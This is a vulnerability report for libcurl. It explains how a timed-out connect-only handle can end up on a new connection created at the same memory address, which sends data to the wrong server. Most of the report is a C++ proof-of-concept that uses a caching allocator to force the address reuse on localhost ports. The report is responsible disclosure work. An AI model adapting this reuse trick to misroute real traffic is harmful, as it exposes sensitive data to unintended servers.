curl: Connect-only connections can use the wrong connection

Summary:

If a connect-only easy handle is not read from or written to, its connection can time out and be closed. If a new connection is created it can be allocated at the same address, causing the easy handle to use the new connection. This new connection may not be connected to the same server as the old connection, which can allow sensitive information intended to go to the first server to instead go to the second server.

This sequence of events would be uncommon in ordinary usage, so I have attached a sample program that implements a simple caching allocator, which causes the address to be re-used deterministically.

According to git bisect, this behavior was introduced in commit 755083d.

Steps To Reproduce:

1. Compile the source code below
2. Listen on ports 1234, 1235, and 1236
3. Run the compiled program
4. Notice that the data which was supposed to be sent to port 1234 is actually sent to port 1236

Supporting Material/References:

#include <iostream>
#include <stdexcept>
#include <thread>
#include <chrono>
#include <unordered_map>

#include <string.h>

#include <curl/curl.h>

using namespace std::literals;

static void require(bool b)
{
	if (!b)
		throw std::runtime_error("Assertion failed");
}

struct alloc
{
	alloc *next_alloc;
	std::size_t size;
};

std::unordered_map<std::size_t, alloc *> cached_allocations;

void *malloc_(size_t size)
{
	auto &ptr = cached_allocations[size];
	if (ptr)
	{
		void *ret = (char *)ptr + sizeof(alloc);
		ptr = ptr->next_alloc;
		return ret;
	}
	auto new_ptr = (alloc *)calloc(1, size + sizeof(alloc));
	new_ptr->next_alloc = nullptr;
	new_ptr->size = size;
	void *ret = ((char *)new_ptr) + sizeof(alloc);
	return ret;
}

void free_(void *ptr)
{
	auto alloc_ptr = (alloc *)((char *)ptr - sizeof(alloc));
	auto &last_alloc = cached_allocations[alloc_ptr->size];
	alloc_ptr->next_alloc = last_alloc;
	last_alloc = alloc_ptr;
}

void *realloc_(void *ptr, size_t size)
{
	auto alloc_ptr = (alloc *)((char *)ptr - sizeof(alloc));
	auto new_alloc_ptr = (alloc *)realloc(alloc_ptr, size + sizeof(alloc));
	new_alloc_ptr->size = size;
	return (char *)new_alloc_ptr + sizeof(alloc);
}

char *strdup_(const char *str)
{
	auto size = strlen(str) + 1;
	auto new_str = (char *)malloc(size);
	return strcpy(new_str, str);
}

void *calloc_(size_t nmemb, size_t size)
{
	auto full_size = nmemb*size;
	return malloc_(full_size);
}


int main()
{
	curl_global_init_mem(CURL_GLOBAL_DEFAULT, &malloc_, &free_, &realloc_, &strdup_, &calloc_);

	auto multi = curl_multi_init();
	require(multi);

	auto easy1234 = curl_easy_init();
	require(easy1234);
	auto eret = curl_easy_setopt(easy1234, CURLOPT_URL, "http://127.0.0.1:1234/");
	require(eret == CURLE_OK);
	eret = curl_easy_setopt(easy1234, CURLOPT_CONNECT_ONLY, 1);
	require(eret == CURLE_OK);
	eret = curl_easy_setopt(easy1234, CURLOPT_VERBOSE, 1L);
	require(eret == CURLE_OK);
	eret = curl_easy_setopt(easy1234, CURLOPT_MAXAGE_CONN, 1L);
	require(eret == CURLE_OK);
	auto mret = curl_multi_add_handle(multi, easy1234);
	require(mret == CURLM_OK);

	// Create connection to port 1234
	while (true)
	{
		int running;
		mret = curl_multi_socket_action(multi, CURL_SOCKET_TIMEOUT, 0, &running);
		require(mret == CURLM_OK);
		int remaining;
		if (auto info = curl_multi_info_read(multi, &remaining))
		{
			require(info->msg == CURLMSG_DONE);
			require(info->easy_handle == easy1234);
			require(info->data.result == CURLE_OK);
			break;
		}
	}

	// Allow connection to port 1234 to age out
	std::this_thread::sleep_for(2s);

	auto easy1235 = curl_easy_init();
	require(easy1235);
	eret = curl_easy_setopt(easy1235, CURLOPT_URL, "http://127.0.0.1:1235/");
	require(eret == CURLE_OK);
	eret = curl_easy_setopt(easy1235, CURLOPT_CONNECT_ONLY, 1);
	require(eret == CURLE_OK);
	eret = curl_easy_setopt(easy1235, CURLOPT_VERBOSE, 1L);
	require(eret == CURLE_OK);
	eret = curl_easy_setopt(easy1235, CURLOPT_MAXAGE_CONN, 1L);
	require(eret == CURLE_OK);
	mret = curl_multi_add_handle(multi, easy1235);
	require(mret == CURLM_OK);

	// Create connection to port 1235, then close connection to port 1234 as it is too old
	while (true)
	{
		int running;
		mret = curl_multi_socket_action(multi, CURL_SOCKET_TIMEOUT, 0, &running);
		require(mret == CURLM_OK);
		int remaining;
		if (auto info = curl_multi_info_read(multi, &remaining))
		{
			require(info->msg == CURLMSG_DONE);
			require(info->easy_handle == easy1235);
			require(info->data.result == CURLE_OK);
			break;
		}
	}

	auto easy1236 = curl_easy_init();
	require(easy1236);
	eret = curl_easy_setopt(easy1236, CURLOPT_URL, "http://127.0.0.1:1236/");
	require(eret == CURLE_OK);
	eret = curl_easy_setopt(easy1236, CURLOPT_CONNECT_ONLY, 1);
	require(eret == CURLE_OK);
	eret = curl_easy_setopt(easy1236, CURLOPT_VERBOSE, 1L);
	require(eret == CURLE_OK);
	eret = curl_easy_setopt(easy1236, CURLOPT_MAXAGE_CONN, 1L);
	require(eret == CURLE_OK);
	mret = curl_multi_add_handle(multi, easy1236);
	require(mret == CURLM_OK);

	// Create connection to port 1236, which re-uses the memory of the previous connection to port 1234
	while (true)
	{
		int running;
		mret = curl_multi_socket_action(multi, CURL_SOCKET_TIMEOUT, 0, &running);
		require(mret == CURLM_OK);
		int remaining;
		if (auto info = curl_multi_info_read(multi, &remaining))
		{
			require(info->msg == CURLMSG_DONE);
			require(info->easy_handle == easy1236);
			require(info->data.result == CURLE_OK);
			break;
		}
	}

	char c = 'a';
	size_t n;
	// Attempts to send data to port 1234, but actually uses the connection to port 1236
	eret = curl_easy_send(easy1234, &c, 1, &n);
	require(eret == CURLE_OK);

	mret = curl_multi_remove_handle(multi, easy1236);
	require(mret == CURLM_OK);
	mret = curl_multi_remove_handle(multi, easy1235);
	require(mret == CURLM_OK);
	mret = curl_multi_remove_handle(multi, easy1234);
	require(mret == CURLM_OK);
	mret = curl_multi_cleanup(multi);
	require(mret == CURLM_OK);
}

Impact

This could cause sensitive data intended for one server to be transmitted to a different server.